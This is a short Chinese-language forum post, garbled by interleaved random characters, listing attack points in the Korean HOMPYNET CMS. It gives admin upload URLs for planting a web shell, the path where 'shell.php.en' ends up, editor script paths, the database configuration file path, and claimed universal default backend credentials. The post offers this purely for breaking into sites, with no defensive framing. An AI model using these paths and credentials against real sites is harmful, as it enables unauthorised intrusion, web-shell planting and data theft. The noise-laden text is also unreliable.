韩国HOMPYNET CMS漏洞

admin

上传漏洞  :
# s: u2 q% c: \- k
0 j" _6 W: U! t1 \% A1 a: U: V1 C3 Ghttp://www.xxx.com/admin/image_a ... p;iname=&iform=
$ U" R6 b) Z3 T1 s& r0 J
9 P. f; g9 n1 B# P! ^8 u) u: j  Jhttp://www.xxx.com/admin/image_a ... p;iname=&iform=
) r: K2 a" W8 R/ P! p9 G
1 a6 T6 q: P* k5 u- H上传后路径：
. C7 n* `' K5 w2 q% d
+ z# W7 l! v8 H) rhttp://www.xxx.com/bis_web_page/images/shell.php.en

  c6 E0 D) L- V3 B( J& {" `编辑器：
6 O0 i5 d1 G9 `- o0 H
/ P$ S: _# j6 x+ b& o8 ghttp://www.xxx.com/admin/editor/SWE.php

' U% y. o' @  {8 E( _http://www.xxx.com/program/editor/SWE.php

数据配置文件路径：

9 V% r" z5 Q$ o( Xhttp://www.xxx.com/m_config/DATA/g_setting.php

, P+ {) \/ h; W& n# z  j此程序通用后台账号 ：gamsiw  php99
, J% E/ I* n- P( t) u; b
( x  {2 ^* X( P& K9 [​
4 x# `* `# Q* O4 J  z! `. \& Y
  k! P) V" g+ u2 B